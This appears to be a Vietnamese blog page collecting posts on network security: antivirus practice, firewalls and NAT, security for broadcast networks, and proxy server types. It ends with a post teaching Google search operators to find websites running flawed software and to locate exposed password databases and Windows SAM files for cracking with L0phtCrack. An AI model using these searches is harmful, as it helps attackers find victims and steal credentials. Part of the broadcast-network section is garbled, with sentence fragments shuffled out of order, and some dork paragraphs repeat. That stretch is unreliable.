các phần mềm quét virus cho các thiết bị kết nối trong mạng. Do các virus thường thay đổi liên tục nên các phần mềm này cần được cập nhật thường xuyên, để nhận biết và làm mất tác dụng của các virus mới. Hầu hết các nhà sản xuất phần mềm phải liên tục làm việc để phát hiện và bịt kín các lỗ hổng an ninh, và cập nhật các phần mềm đã bán cho các khách hàng một cách miễn phí. Hãng Microsoft là một ví dụ. Nếu máy tính sử dụng hệ điều hành Windows, chúng ta có thể kiểm tra nhanh độ an toàn hệ thống của bạn bằng cách trỏ một trình duyệt vào địa chỉ http://www.windowsupdate.microsoft.com, Microsoft sẽ kiểm tra thiết bị và đề nghị một danh sách các cập nhật (nếu cần thiết). Đối với những hệ thống máy tính nhậy cảm (ví dụ như các hệ thống làm tin

thời sự truyền hình…), cách tốt nhất cho an ninh mạng là tránh kết nối trực tiếp đến Internet. Để đảm bảo nhu cầu thu nhập thông tin trên mạng Internet và trao đổi thư điện tử, cần sử dụng một hệ thống tường lửa cùng một máy chủ e-mail độc lập với một phần mềm quét virus trong máy chủ này để kiểm soát virus trong các thư đến. Điều này cho phép cô lập các nguy cơ virus khỏi khu vực trung tâm và tránh sự phức tạp phải cập nhật phần mềm chống virus liên tục tại mỗi máy PC trong mạng. Để tránh bị mất dữ liệu do máy tính bị virus thâm nhập phá huỷ, giải pháp an toàn nhất là sao lưu dự phòng (backup) thường xuyên thông tin dữ liệu hệ thống. Thực tế đã cho thấy không có cách nào làm cho máy tính trở nên an toàn tuyệt đối, nên không sớm thì muộn máy tính đang sử dụng cũng sẽ gặp vấn đề. Trong trường hợp đó, chúng ta có thể yên tâm là đã có sẵn trong tay một bản sao đầy đủ các dữ liệu cần thiết. 4. Các thâm nhập trái phép từ bên ngoài: khi kết nối máy tính hay hệ thống mạng của chúng ta với Internet, chúng ta đã mở cửa cho một cuộc đột kích có thể. Đây là nơi mà hệ thống tường lửa (lớp bảo vệ ngoài cùng) sẽ phát huy vai trò của nó để ngăn chặn các thâm nhập trái phép, lọc bỏ các gói tin không muốn gửi hoặc không muốn nhận. 2. Các tường lửa (firewalls). Tường lửa có các tính năng cơ bản sau: 1. Kiểm soát truy xuất: Giới hạn truy xuất đối với từng người sử dụng trên cơ sở Username và Password, hoặc địa IP và các cổng (Port); 2. Kiểm tra và lọc các gói tin: các gói dữ liệu trước hết được kiểm tra về địa chỉ IP nguồn, địa chỉ IP đích và số hiệu cổng …sau đó được trả lại hay cho phép đi vào theo một số điều kiện nhất định…; 3. Quản lý các địa chỉ IP với hai chức năng cơ bản là NAT và DHCP. Chức năng NAT (Network Address Translation) chuyển các địa chỉ IP riêng của mạng nội bộ thành địa chỉ IP có thể ra ngoài Internet với mục đích dấu địa chỉ của mạng nội bộ, tăng tính bảo mật. Chức năng DHCP (Dynamic Host Configuration Protocol) cung cấp địa chỉ IP động cho các thiết bị trong mạng nội bộ; 4. Lọc URL(1) nhằm giới hạn việc truy cập tới các trang web không mong muốn. Xét dưới góc độ cấu trúc của thiết bị có thể chia ra hai loại tường lửa như sau: * Tường lửa mềm: Là một chương trình phần mềm có các tính năng tuờng lửa (ví dụ Firewall-1 của ChekPoint). Khi hoạt động chúng phải dựa vào máy tính,

sử dụng bộ xử lý và tài nguyên của máy tính để hoạt động. Đối với loại tường lửa này người sử dụng có thể thêm bớt một cách linh hoạt các tính năng tường lửa căn cứ vào nhu cầu cụ thể của từng thời điểm vận hành; * Tường lửa cứng: Là một thiết bị riêng biệt có sẵn các tính năng tường lửa. Chúng có bộ xử lý và các tài nguyên riêng để xử lý các tính năng này. Vì vậy, chúng hoạt động hiệu quả hơn tường lửa mềm. Chúng ta vẫn có thể nâng cấp các tính năng của chúng nhưng không linh hoạt bằng các tường lửa mềm. Chúng cũng có thể tăng thêm các tính năng bảo mật khi tích hợp với các sản phẩm bảo mật khác như Antivirus, dò tìm kẻ xâm nhập… Trong số bốn chức năng cơ bản trên của tường lửa, chức năng quản lý các địa chỉ IP có tầm quan trọng rất lớn đối với khả năng chống xâm nhập trái phép từ bên ngoài vào mạng máy tính. Thật vậy, với NAT, bất kỳ gói dữ liệu nào được gửi ra mạng Internet từ các máy bên trong mạng đều được biến đổi địa chỉ sao cho địa chỉ xuất phát của nó duy nhất từ tường lửa: trên hình 2 chúng ta có thể thấy rằng, các gói dữ liệu từ máy tính có địa chỉ 192.168.1.3 bên trong tường lửa sẽ được biến đổi và các máy tính bên ngoài (mạng Internet) chỉ có thể nhận biết như chúng được bắt nguồn từ tường lửa với địa chỉ IP 62.123.4.23. Tương tự như vậy, một câu hỏi truy vấn từ máy tính nào đó trên mạng Internet gửi đến địa chỉ 192.168.1.3 sẽ bị báo lỗi và gửi trả lại. Điều này đã giúp loại trừ sự kết nối trực tiếp của một máy tính nào đó trên Internet với máy tính phía trong tường lửa, làm cho việc thâm nhập vào các thiết bị bên trong mạng trở nên khó khăn vì kẻ đột nhập muốn vào trước hết phải biết địa chỉ IP của máy muốn đột nhập. Khi lựa chọn cấu hình một hệ thống tường lửa cho mạng máy tính, người quản trị mạng cần cân nhắc kỹ các yếu tố: * Hiệu suất làm việc của tường lửa. Hiệu suất càng cao thì hiện tượng nghẽn cổ chai càng giảm. Khi sử dụng đường leased line để kết nối Internet, hiệu suất của tường lửa nên chọn phù hợp với tốc độ các đường thuê bao này; * Khả năng cung cấp băng thông cho bao nhiêu người truy cập tại cùng một thời điểm; * Khả năng mã hóa thông tin; * Có hay không chế độ ghi nhật ký, giúp theo dõi đánh giá các sự cố trong hệ thống mạng; * Có hay không tính năng mạng ảo VLAN (Virtual LAN) và mạng riêng ảo VPN (Virtual Private Network) giúp quản lý phân chia mạng thành các mạng con riêng biệt; * Có bao nhiêu cách để quản lý và cấu hình Firewall; * Có hay không tường lửa dự phòng; * Có tích hợp các tính năng bảo mật như Giám sát trạng thái, Dò tìm kẻ xâm nhập trái phép IDS (Instruction Detect Service), Antivirus, Xác định quyền truy cập …. Hầu hết các tường lửa đều cho phép cài đặt ở các mức an toàn khác nhau, và

lộ bí mật thông tin. Hình 2:Biến đổi địa chỉ IP (NAT) để giấu IP thực của máy tính bên trong mạng LAN 3. mất dữ liệu hay mất bản quyền chương trình… Một vấn đề gây khó khăn cho an ninh mạng truyền thông là yêu cầu phải tạo thuận lợi tối đa cho các truy cập (hợp pháp) vào mạng nhiều nhất có thể.sẽ hạn chế truyền thông tương ứng với mức độ an toàn đạt được (càng hạn chế thì càng an toàn). Duy trì sự kiểm soát dữ liệu và chống sự sao chép bất hợp pháp các dữ liệu và nội dung. thì họ cũng đang mở cửa cho các virus. máy tính cá nhân PCs. Đây thường là các mạng kinh doanh giải trí. 2. 4. hệ thống tường lửa trong các mạng này cần thoả mãn các yêu cầu: * . đảm bảo an ninh hệ thống nhưng vẫn cho phép khai thác tối đa các chức năng của các của thiết bị trong mạng. Phải đảm bảo hệ thống không bị lạm dụng cho các sử dụng cá nhân của các nhân viên. Trong các mạng này. hệ thống tường lửa đóng vai trò rất lớn trong việc bảo vệ và duy trì an ninh mạng thông qua việc kiểm soát các kết nối phức tạp. Để đáp ứng các nguyên tắc an ninh trên. Mạng máy tính sử dụng trong truyền thông ngày nay thường có cấu trúc đa giao thức với khả năng hỗ trợ các máy chủ truyền thông đa phương tiện. An ninh hệ thống mạng máy tính truyền thông (Broadcasting Networks). Có khả năng chống lại việc sử dụng sai mục đích. Quản trị mạng phải kiểm soát chặt và tại bất kỳ thời điểm nào cũng có khả năng biết chắc chắn thông tin nào đang đi vào ra khỏi mạng. sự tồn tại của chúng phụ thuộc chính vào việc cho phép truyền phát nội dung các chương trình trong khi vẫn đảm bảo được khả năng kiểm soát quá trình sử dụng các nội dung này. Các nguyên tắc cơ bản của an ninh hệ thống ở đây bao gồm: 1. các hệ thống lưu trữ khu vực. và không bị giới hạn bởi các biên giới vật lý. Vấn đề đặt ra cho các quản trị mạng là phải duy trì an ninh ở mức độ an toàn hợp lý. Khi các Hãng truyền thông cố tận dụng các ưu điểm của việc truyền dẫn thông tin ra phạm vi toàn cầu thông qua Internet. thiết bị hỗ trợ số cá nhân PDAs (Personal Digital Assistant). sự phá hoại do những bất hoà trong nội bộ và những sự cố. 3. điện thoại và toàn bộ các ứng dụng dữ liệu mới …. các kẻ cố ý phá hoại và những nguy cơ khác có thể gây ra thiệt hại nhiều khi lên tới hàng tỉ USD do tổn thất năng suất lao động.

windevine. * Phải cho phép triển khai và tích hợp chức năng mới một cách liên tục mà chỉ đòi hỏi những thay đổi tối thiểu trong hệ thống máy chủ hay những nâng cấp mở rộng nhỏ. Trong thời gian gần đây. giải pháp truyền thông dòng này cho bảo vệ nội dung chương trình trong suốt quá trình truyền thông trên mạng. trong đó virus là nguy cơ thường xuyên và rất khó loại trừ hoàn toàn. bảo vệ bản quyền chống sao chép và những ứng dụng đặc biệt khác thuộc phạm vi kiểm soát media. * Có khả năng làm nản lòng các hành vi muốn sao chép xâm phạm bản quyền. Các hệ thống này hoạt động theo nguyên tắc kết hợp hai lớp bảo vệ 3 và 5 và tương tích với tất cả các công nghệ tạo dòng streaming đang sử dụng hiện nay. đã xuất hiện các hệ thống an ninh mạng máy tính truyền thông có khả năng đáp ứng tốt các yêu cầu trên (ví dụ thiết bị của Hãng Widevine Technologies – http://www. HTTP(3) và RTP/RTSP(4/5). đây là các thiết bị mã hoá bằng phần cứng thời gian thực. Một số lưu ý trong công tác quản trị mạng. bao gồm Real Networks. có lúc đã ảnh hưởng đáng kể đến khả năng phục vụ của toàn hệ thống. * Phải có một kênh phản hồi đảm bảo để kiểm soát chất lượng dịch vụ. Thực tế công tác quản trị mạng máy tính tại Đài THVN trong thời gian qua cho thấy. * Phải hỗ trợ các chuẩn công nghiệp Internet như TCP/IP. * Cho phép người sử dụng truy cập nội dung chương trình thông qua việc sử dụng các phần mềm hiển thị media như Winamp hay QuickTime …. Do đặc điểm công tác.Tương thích với tất cả các công nghệ tạo dòng streaming chủ yếu. Thuật toán mã hoá có thể được cập nhật trong suốt quá trình hoạt động của mạng mà không ảnh hưởng tới chất lượng chương trình thu được. được lắp đặt tại đầu ra của các thiết bị lưu trữ nội dung và chỉ cho phép giải mã bằng thiết bị phần cứng tương ứng ở đầu thu chương trình. * Phải duy trì hoạt động thông suốt đến người sử dụng (khách hàng). * Cho phép cài đặt nhiều phần mềm tại các máy trạm của khách hàng phục vụ cho nhu cầu cập nhật các ứng dụng một cách dễ dàng và hoàn toàn tự động.come). vấn đề virus và xâm nhập trái phép là các nguy cơ thực tế đối với mạng máy tính. UDP(2). Về thực chất. các cán bộ và phóng viên của Đài hiện đang sử . thanh toán chi tiết. * Phải đủ mở để có thể tương thích với các công nghệ tạo dòng trong tương lai. 4. Do nội dung được bảo vệ (mã hoá) tại nguồn. Windows Media và Quick Time.

c. đảm bảo khả năng nhận biết và đối phó với các loại virus mới của công cụ phòng ngừa này. video và âm thanh…). nhất là khi sử dụng các hệ điều hành Windows 2000. b.. Thường xuyên cập nhật các phần mềm chống virus đã được cài đặt trong các thiết bị mạng. (2) – UDP (User Datagram Protocol): Giao thức gói dữ liệu người dùng. người làm công tác quản trị mạng cần lưu ý đến các nguyên tắc sau: a.URL (Uniform Resource Locator): Địa chỉ của một tài nguyên trên Internet (hay Intranet) nằm trong các máy chủ. Windows XP không có bản quyền. đặc biệt là các hệ điều hành Windows 2000. Sử dụng phần mềm tường lửa trên các máy tính xách tay đề phòng các xâm nhập trái phép. nó chỉ tới vị trí của tài nguyên cần tìm trên mạng. Windows XP. các hệ điều hành nhằm phát hiện và khắc phục kịp thời các lỗ hổng bảo mật. d. Cài đặt các phần mềm chống virus đến từng máy tính và thiết bị trong mạng. đồ họa. nên rất khó làm tốt công tác phòng chống virus và cập nhật các phần mềm cho các thiết bị này. còn UDP lại là giao thức "không liên kết"với độ tin cậy không cao. g.dụng một số lượng khá lớn máy tính cá nhân xách tay.. chứa các thư mục và các loại tập tin khác nhau (văn bản. Khi viết các ứng dụng trên mạng TCP/IP. Chú thích: (1) . Thường xuyên sao lưu dữ liệu dự phòng (backup).. Khả năng này làm cho việc . f. e. Để thường xuyên duy trì khả năng phòng vệ của hệ thống. có thể truy cập đến tài nguyên mạng thông qua hai giao thức TCP (Transmission Control Protocol) hoặc UDP (User Datagram Protocol). Nó cho phép truyền số liệu thông qua số hiệu cổng mà không cần thiết lập một phiên kết nối logic. Loại trừ việc kết nối trực tiếp các máy tính nhậy cảm với Internet. URL là địa chỉ được gõ vào vùng Address của các Web Browser. Theo dõi và cập nhật thường xuyên phần mềm. Đây chính là nguồn lây nhiễm virus đáng kể nhất vào hệ thống mạng của Đài THVN trong thời gian qua. Cả hai giao thức nầy nằm trong lớp giao vận (transport layer) trong đó TCP là giao thức có liên kết (tức là đòi hỏi phải thiết lập liên kết logic giữa hai thiết bị trao đổi thông tin với nhau) và vì vậy cho độ tin cậy trong truyền dữ liệu khá cao. Sử dụng chức năng NAT để che giấu máy tính bên trong mạng.

(4) – RTP(Real-Time Transport Protocol): Giao thức truyền tải thời gian thực cung cấp cách truyền dữ liệu thời gian thực. gửi yêu cầu đến máy chủ. độ an toàn cao. [6]. [4].Steven M. các chương trình ứng dụng điều khiển. RTP không có khả năng đảm bảochất lượng dịch vụ QoS.Brad Gilmer – Broadcast Engineering. đánh số thứ tự. Oct 1. cung cấp các dịch vụ nhận biết loại thanh toán. RTP được dùng trong hội nghị có hỗ trợ multimedia. Jul 1. . 2001. (5) – RTSP(Real-Time Streaming Protocol): Giao thức dòng dữ liệu thời gian thực là giao thức để truyền dữ liệu trên Internet và intranet. Szuprowicz – McGraw Hill International Editions 1995. chuyển lệnh qua lại giữa hai hệ thống. Computer & Networks: Security . 2002. Trong nhiều trường hợp khi chỉ gửi một lượng dữ liệu nhỏ việc sử dụng TCP vẫn sẽ tốn nhiều thời gian do vẫn phải thiết lập kết nối cho giao thức này.Brad Gilmer – Broadcast Engineering. [5]. [3]. Tài liệu tham khảo: [1].Nguyễn Thúc Hải – Nhà xuất bản giáo dục 1997. System security .Văn phòng Chính phủ 9/2003.Tài liệu tập huấn của Ban Điều hành Đề án 112 . RTSP có thể truyền âm thanh và video trực tiếp hay được thu từ trước. [2]. RTSP do RealNetworks liên kết với Netscape phát triển được IETF (Internet Engineering Task Force) chuẩn hóa. RTP cũng được dùng để xử lý các dòng dữ liệu liên tục. Blumenfeld – Broadcast Engineering.truyền thông trở nên dễ dàng hơn vì toàn bộ dữ liệu truyền có thể được gởi đi trong một hoặc hai gói UDP. âm thanh trực tiếp và video từ máy này sang máy khác trên Internet hoặc intranet. HTTP cài đặt sự kết nối giữa máy khách và máy chủ. 2001. Mạng máy tính và các hệ thống mở . Các tính năng khác của RTSP là khả năng điều khiển hai chiều. Aug 1. An Toàn cho Trung tâm tích hợp dữ liệu . Multimedia Networking – Bohdan O. (3) – HTTP (Hypertext Transfer Protocol): Giao thức truyền tải siêu văn bản là giao thức lệnh và điều khiển. Firewalls and security . và giám sát việc truyền dữ liệu. cảm ứng trì hoãn. chi phí thấp. xác lập việc truyền tin giữa các máy khách và máy chủ. đánh dấu thời gian. hỗ trợ cho IP multicast. cung cấp phương thức để bộ trình duyệt Web browser truy xuất máy chủ Web server. mô phỏng phân bố tương tác.

Hệ thống proxy cho phép tất cả những tương tác nằng dưới một hình thức nào đó. thay thế yêu cầu của người sử dụng bằng cách gián tiến thông qua dual homed host. Tuy nhiên. khi một máy gồm nhiều người sử dụng tất nhiên độ an toàn của nó sẽ giảm. Khi dual_home host được thiết kế trên mô hình không có proxy.http://www. thực hiện tất cả những công việc ở đây. tiến trình này được thực hiện trình tự như sau: * thành lập một kết nối applycation trên firewall. phương pháp này không phải là phương pháp giải quyết thỏa mản nhất bởi vì nó tạo cho người sử dụng cảm thấy không thoải mái. Khi truy xuất đến internet thì họ không thể thực hiện những công việc đó một cách trực tiếp.vn/modules. Điều này trở nên càng tồi tệ ở những hệ thống với nhiền hệ điều hành khác nhau.php? name=News&op=viewst&sid=99 Được đăng bởi haodalat tại 10:18 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. điều đó sẽ khiến cho người sử dụng thêm bực bội và đáng chú ý hơn là giảm đi những tiện ích mà intenet cung cấp. phải login vào hual_homed host. Proxy server gíup người sử dụng thoải mái hơn và an toàn cho dual homed host. Tại Sao Ta Phải Cần Proxy Để đáp ứng những nhu cầu của người sử dụng khi cần truy xuất đến những ứng dụng cung cấp bởi internet nhưng vẫn đảm bảo được an toàn cho hệ thống cục bộ. Những chương trình client của người sử dung sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp 1. User có cảm giác làm việc trực tiếp với server trên internetmà họ thật sự muốn truy xuất Proxy applycation chính là chương trình trên application level. * proxy applycation thu nhận thông tin về việc kết nối và yêu cùa của user . NETWORK. tồi tệ hơn là chúng thường không cung cấp một cách không an toàn và đầy đủ. Những proxy server phục vụ những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host. getaway firewall hành động trên hình thức chuyển đổi những yêu cầu người sử dụng thông qua firewall. đặt biệt khi cố gắng bắt với vạn vật bên ngoài.phatthanhtruyenhinh. Security Căn bản về Proxy Proxy cung cấp cho người sử dụng truy xuất internet với những host đơn. Ví dụ: nếu hệ thống là bastion_host nhưng riêng dual_host là unix. và sau đó bằng cách nào đó chuyển đổi kết quả đạt được của công việc trở lại workstation sỡ hữu. Trong hầu hết những phương pháp được đưa ra để giải quyết điều này là cung cấp một host đơn để truy xuất đến Internet cho tất cả những người sử dụng.

đường đi là gián tiếp thông qua dual homed host hoặc thông qua sự kết hợp giữa bastion host và screening router. vd: thay vì logging tất cả thông tin thông qua đường truyền. bởi vì nếu đặt bên trong hệ thống thì đó chính là yếu điểm. Bởi vì proxy cho phép user truy xuất những dịch vụ trên internet từ hệ thống cá nhân của họ. Điều này thường không tiện lợi. mỗi sự sửa đổi có những bất tiện riêng . và một số người trể nên thất vọng khi họ có cảm giác thông qua firewall. Ngoại trừ một số dịch vụ được thiết kế cho proxying . 2. một proxy FPT server chỉ log những lệnh phát ra và server đáp ứng mà nhận được. khoảng thời gian phụ thuộc vào phương pháp thiết kế proxy cho dịch vụ đó. proxy server yêu cầu sửa đổi với client hoặc procedure. install và config tất cả những server khác nhau đó có thể rất khó khăn Những dịch vụ proxy thường sửa đổi chương trình client. Thực tế proxy hiểu được những nghi thức dưới. sự kết hợp .Những điểm yếu của việc dùng Proxy Mặc dù phần mềm prory có hiệu quả rộng rải những dịch vụ lâu đời và đơn giàn như FPT và Telnet. Kết quả này đơn giản và hửu dụng hơn rất nhiều. 3. điều này cho thấy khá khó khăn khi đưa dịch vụ mới vào hệ thống khi chưa có proxy cho nó thì nên đặt bên ngoài firewall. truyền dữ liệu qua lại giữa client và server Proxy system giải quyết được những rủi ro trên hệ thống bởi tránh user login vào hệ thống và ép buộc thông qua phần mềm điều khiển. với proxy nó giải quyết được vấn đề này.* sử dụng thông tin để xác nhận yêu cầu đó được xác nhận không. Tất nhiên nó còn có những giao thức mới nhưng nói chung nó cũng khá tiện lợi cho user.Sự cần thiết của Proxy Proxy cho user truy xuất dịch vụ trên internet theo nghĩa trực tiếp. nếu chấp nhận proxy sẽ tạo sự kết nối khác từ firewall đến máy đích * sau đó thực hiện sự giao tiếp trung gian. Đôi khi cần một proxy khác nhau cho mỗi nghi thức. nên logging được thực hiện theo hướng hiệu quả đặc biệt. Để thực hiện nhiệm vụ như là client đến server thật và server thật đến proxy client. procedure hoặc cả hai. vì vậy nó không cho phép packet đi trực tiếp giữa hệ thống sử dụng và internet. Với dual host homed cần phải login vào host trước khi sử dụng dịch vụ nào trên internet. Thường đó chính là sự chậm trể giữa thời gian xuất xuất hiện một dịch vụ mới và proxy cho dịch vụ đó. những phần mềm mới và ít được sử dụng rộng raãi thì hiếm khi thấy. bởi vì proxy server phải hiểu nghi thức đó để xác định những gì được phép và không được phép.

Tuy nhiên. 4. proxying dựa vào những khả năng xác định những tác vụ trong nghi thức an toàn. thay thế trực tiếp server thật. Sử dụng những chuyển đổi client cho proxying không dễ dàng thuyết phục user. vd: Macintosh có hàng chục chương trình FPT client. như nghi thức Xwindows cung cấp khá nhiều những tác vụ không an toàn. khi setup proxying. tất cả với giao diện người sử dụng thích hợp. Tuy nhiện. nó cũng có thể không phải điều mà user mong muốn. vì vậy user có thể tìm file với archie và dùng FPT để lất nó. nhưng vài dịch vụ có sự chuyển đổi rất khó khăn. Proxy server được thiết kế thực thi với phần mềm client chuẩn. Anarchie là chương trình mà nó kết hợp một archie client và FPT client bên trong chương trình đơn. Custom user procedure: user dùng phần mềm client chuẩn để giao tiếp với proxy server và nó kết nối với server thật. trong hầu hết những dịch vụ ngoài yêu cầu những phần mềm proxy server tương ứng.của nó. một trong vài số đó có những giao diện khá ấn tượng với user. Như một giải pháp an toàn. . Không phải tất cả các dịch vụ đều cung cấp theo khuynh hướng an toàn này. Những phần mềm custom client thường chỉ có hiệu quả chỉ một vài platform Ví dụ: packet getaway từ Sun là một proxy packet cho FTP và Telnet. những phần khác có những đặc điểm hửu dụng khác. trên client cũng cần phải có những yêu cầu như sau: Custum client software: phần mềm loại này phải biết như thế nào để liên kết với proxy server thay server thật khi user yêu cầu và yêu cầu proxy server những gì server thật kết nối đến. điều này sẽ không may mắn cho chúng ta nếu muốn hổ trợ proxy server.Proxy hiện thực như thế nào Những chi tiết trong việc proxying thực hiện như thế nào khác nhau từ dịch vụ này đến dịch vụ khác. Những dịch vụ proxy không bảo vệ cho hệ thống ứng với những nghi thức kém chất lượng. không thể luôn luôn sử dụng công cụ có sẵn với những cấu trúc hiện tại của nó Proxying dựa vào khà năng chèn vào proxy server giữa server thật và client mà yêu cầu tác động tương đối thẳn thắn cả hai. nhưng nó chỉ được sử dụng trên hệ thống SUN bởi vì nó cung cấp recompiled Sun binaries Mặc dù nếu phần mềm hiệu quả cho platform tương ứng. có một vài dịch vụ thực hiện dể dàng hoặc tự động. Trong hầu hết những hệ thống sử dụng client không chuyển đổi những kết nối bên trong và một số chuyển đổi chỉ với những kết nối bên ngoài.

User trước tiên kết nối với proxy server và sau đó cung cấp proxy server tên host mà nó muốn kết nối đến. user không phải nhớ tên proxy server nhưng củng phải nhớ tên host mà nó muốn giao tiếp. Trước tiên. tuy nhiên. user cần thực hiện những bước sau: a. Tại dấu nhắc user name. cần có một ứng dụng client thêm vào cho mỗi dịch vụ mạng là một đặt tính trở ngại. user kết nối đến proxy server thay thế trực tiếp đến anonumous FTP server. . User cho địa chỉ của host hướng tới. User thưc thi những ứng dụng đặc biệt đó với việc tạo ra sự kết nối thông qua firewall. setup sự kết nối đến ứng dụng proxy trên firewall.Phân loại các hệ thống proxy Dạng kết nối trực tiếp Phương pháp đầu tiên được sử dụngtrong kỹ thuật proxy là cho user kết nối trực tiếp đến firewall proxy. yêu cầu user phải biết địa chỉ của firewall. đó là một phương pháp brute force sử dụng bởi firewall một cách dể dàng. User với ứng dụng đó hành động chỉ như những ứng dụng không sửa đổi. user phải chỉ định tên server thật muốn kết nối 5.chúng yêu cuầ user theo những custom procedure. kế tiếp nó yêu cầu user nhập vào hai địa chỉ hai địa chỉ cho mỗi kết nối: địa chỉ của firewall và địa chỉ đích hướng đến. Cuối cùng nó ngăn cản những ứng dụng hoặc những nguyên bản trên máy tính của user điều đó tạo sự kết nối cho user. sử dụng bất kỳ FTP client . Như thế nào để thực hiện công việc này. và truyền cho nó địa chỉ cung cấp bởi người sử dụng. Bởi vì một vài nghi thức được thiết để chuyển những thông tin này. và đó cũng là nguyên nhân tại sao nó là phương pháp ít thích hợp. có thể user muốn nhận một file từ anonymous FTP server. bởi vì chúng không biết như thế nào điều khiển những yêu cầu đặc biệt cho sự truyền thông với proxy Dạng thay đổi client Phương pháp kế tiếp sử dụng proxy setup phải thêm vào những ứng dụng tại máy tính của user. cần phải nắm được những thủ tục đặc trưng theo sau mỗi nghi thức. sau đó proxy hỏi user cho địa chỉ host hướng đến. Phương pháp này rất khó hiệu quả và có khả năng che dấu người sử dụng. Ví dụ: với FTP. trong việc thêm vào tên chỉ định muốn sử dụng. Những ứng dụng thêm vào biết địa chỉ firewall từ file config cuc bộ. b.

client application nghỉ rằng nó được kết nối đến server thật. Như những packet nhập vào firewall. trong vài hệ thống firewall được biết như proxy vô hình. Proxy server (đặt biệt là .Proxy "trong suốt" (transparent) Một phương pháp phát triển gần đây cho phép truy xuất đến proxy. Nó cung cấp cho từng dịch vụ riêng và interpret những dòng lệnh trong nghi thức đó. tự động chúng được đổi hướng đến proxy đang chờ. Sử dụng sự điều khiển đường đi cơ bản. không cần có những ứng dụng thêm vào với user và không kết nối trực tiếp đến firewall hoặc biết rằng firewall có tồn tại. Để tạo ra kết nối proxy. Proxy chung thì đối nghịch với những proxy chuyên biệt: mặc dù “application_level” và “circuit_level” thường được dùng. generic proxy server là server phục vụ cho nhiền nghi thức. nếu được phép. và generic proxy server là circuit_level. Một circuit_level proxy không thể interpret theo từng nghi thức và cần phải có thông tin hổ trợ cho nó thông qua một cách nào khác.firewall thực hiện rất tốt việc giả như host đích. Intelligent proxy server: một proxy server có thể làm nhiều điều chứkhông phải chỉ chuyễn tiếp những yêu cầu. circuit_level proxy dể dàng bị đánh lừa bởi những server setup lại những cổng gán đến những server khác. vd: cern http proxy server caches data. tất cả sự kết nối đến mạng bên ngoài được chỉ đường thông qua firewall. đó chính là một intelligent proxy server. Một hybrid gateway đơn giản có thể chặn đứng kết nối. proxy application sau đó thực hiện hàm proxy chuẩn trong việc tạo kết nối thứ hai đến server thật Proxy lớp ứng dụng thì đối nghị với proxy lớp circuuit: application_level proxy được thực thi ở lớp ứng dụng. hầu như circuit_level proxy cũng là proxy server chung cho tất cả các dạng nghi thức. ưu điểm của circuit_level proxy server là ở đó nó cung cấp cho hầu hết các nghi thức khác nhau . Trong mô hình này. nó điều khiển những kết nối cơ bản dựa vào địa chỉ nguồn và địa chỉ đích và không thể xác định những lệnh đi qua nó là an toàn hoặc những sự kiện mà nghi thức đó mong muốn. khuyết điểm của circuit_level proxy là nó điều khiển những gì xảy ra thông qua proxy này như là packet filter. Nói chung. phải biết vị trí nào muốn kết nối đến. nhưng một proxy host chỉ có thể nhận kết nối mà đề nghị với nó. Khi kết nối tạo ra firewall proxy . dedicated proxy server là application_level. Theo hướng này. tuy nhiên không phải tất cả các nghi thức đều dễ dàng được điều khiển bởi circuit_level proxy . Một circuit_level proxy tạo nên một circuit giữa server và client không cần phải interpret những nghi thức này. application_level proxy sử dung modified client.6. vì vậy nhiều yêu cầu data không ra khỏi hệ thống khi chưa có sự xử lý ccủa proxy server. nhưng đôi khi cũng phân biệt giữa “dedicated” và “generic” proxy server là server chỉ phục vụ một nghi thức đơn . Thật ra. và phải chỉ ra vị trí muốn kết nối. Một application_level proxy có thể nhận thông tin trong từng nghi thức riêng.

http://www.google.com. Bây giờ tôi chỉ cho các bạn tìm kiếm trang bị lỗi trên http://www.com/..application level server) có thể cung cấp login dễ dàng và điều khiển truy xuất tốt hơn. dùng Access để mở) thì bạn vào http://www.. dùng L0phtCrack để Crack) thì bạn vào http://www.google. Nhân tiện tôi cũng chỉ các bạn cách tìm các file trên http://www. khi chỉ đánh vậy không nó sẽ liệt kê ra cả trang nói về Hosting Controller lẫn trang đang sử dụng Hosting Controller.3 thì đánh "powered by UBB 1. http://www. thì những tran Web tìm kiếm được chắc chắn sẽ có chuỗi cần tìm.com/advadmin.com/ .av.av." (ví dụ : nếu tìm trang Forum UBB 1.0. Bình thường một chương trình trên mạng đều có một đoạn string đặc biệt trong URL.google.com/ Muốn tìm các file trên http://www.com/ thì bạn thêm chữ type file: trước tên file cần tìm trên các chuyên khu web.google.0." (ví dụ : nếu tìm trang Forum UBB 1.. Nhưng như thế thường không hiệu quả và nó cho ra rất nhiều trang chẳng liên quan gì đến trang mình cần tìm. http://www..sanitc.. như thế kết quả ra nhiều nhưng không hiệu quả...com/ và đánh type file:mdb bạn muốn tìm file SAM (đây là file chứa Password của Windows NT.3").3 thì đánh "powered by UBB 1.com/itc/NewDetail. Ví dụ : bạn muốn tìm file mdb (đây là file chứa Password của các Website.asp?ID=52&IDL=122&IDD=591 Được đăng bởi haodalat tại 10:14 CH 0 nhận xét Nhãn: Proxy Hướng dẫn cách tìm Website bị lỗi Tôi sẽ hướng dẫn các bạn cách tìm các Website bị lỗi. đa số cách thông dụng nhất là vào các trang Search như http://www. rồi đánh "powered by .com/ và đánh type file:SAM .google.google. Nhưng như thế thường không hiệu quả và nó cho ra rất nhiều trang chẳng liên quan gì đến trang mình cần tìm. Ví dụ : Khi tôi kiếm server dùng Hosting Controller. đội khi một số dịch vụ rất dễ với cách phục vụ bình thường nhưng lại rất khó khi thêm vào proxy. tôi vào http://www.com/.. Bây giờ các bạn thêm chữ allinurl: trước đoạn string đặc biệt cần kiếm..google..cgi?". đa số cách thông dụng nhất là vào các trang Search như http://www.com .google. ví dụ với lỗi Hosting Controller thì sẽ có đoạn "/admin hay /advadmin hay /hosting" hay với forum UBB thì có "cgi-bin/ultimatebb.0.com/ và đánh "allinurl:/advadmin" (không có ngoặc kép) thì nó chỉ liệt kê ra những trang có URL có dạng : http://tentrangweb. Tôi sẽ hướng dẫn các bạn cách tìm các Website bị lỗi. nó phải được thích ứng với từng dịch vụ riêng. còn circuit proxy thường bị giới hạn bởi những khả năng này Using proxying với những dịch vụ internet:vì proxy server chèn vào giữa sự kết nối client và server.3").0. rồi đánh "powered by .

